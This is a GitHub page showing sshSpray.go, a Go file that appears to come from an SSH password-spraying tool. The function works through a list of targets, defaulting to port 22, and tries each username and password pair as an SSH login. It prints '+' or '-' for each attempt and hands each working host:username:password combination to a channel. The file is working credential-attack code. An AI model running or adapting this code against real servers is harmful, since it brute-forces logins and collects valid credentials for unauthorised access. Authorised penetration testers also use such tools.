-
Notifications
You must be signed in to change notification settings - Fork 7
/
sshSpray.go
41 lines (34 loc) · 919 Bytes
/
sshSpray.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main
import (
"fmt"
"github.com/GoSpray/gossh"
"sync"
)
func sshSpray(wg *sync.WaitGroup, channelToCommunicate chan string, taskToRun task, storeResult *int) {
defer wg.Done()
internalCounter := 0
for _,taskTarget := range taskToRun.targetsRaw {
temporaryTarget := parseTarget(taskTarget)
taskToRun.target = temporaryTarget
if taskToRun.target.port == 0 {
taskToRun.target.port = 22
}
for _,password := range taskToRun.passwords {
for _,username := range taskToRun.usernames {
if internalCounter >= *storeResult {
sshClient, err := gossh.DialWithPasswd(stringifyTarget(taskToRun.target), username, password)
if err != nil {
fmt.Print("-")
} else {
fmt.Print("+")
channelToCommunicate <- taskToRun.target.host + ":" + username+":"+password
sshClient.Close()
}
*storeResult++
} else {
}
internalCounter++
}
}
}
}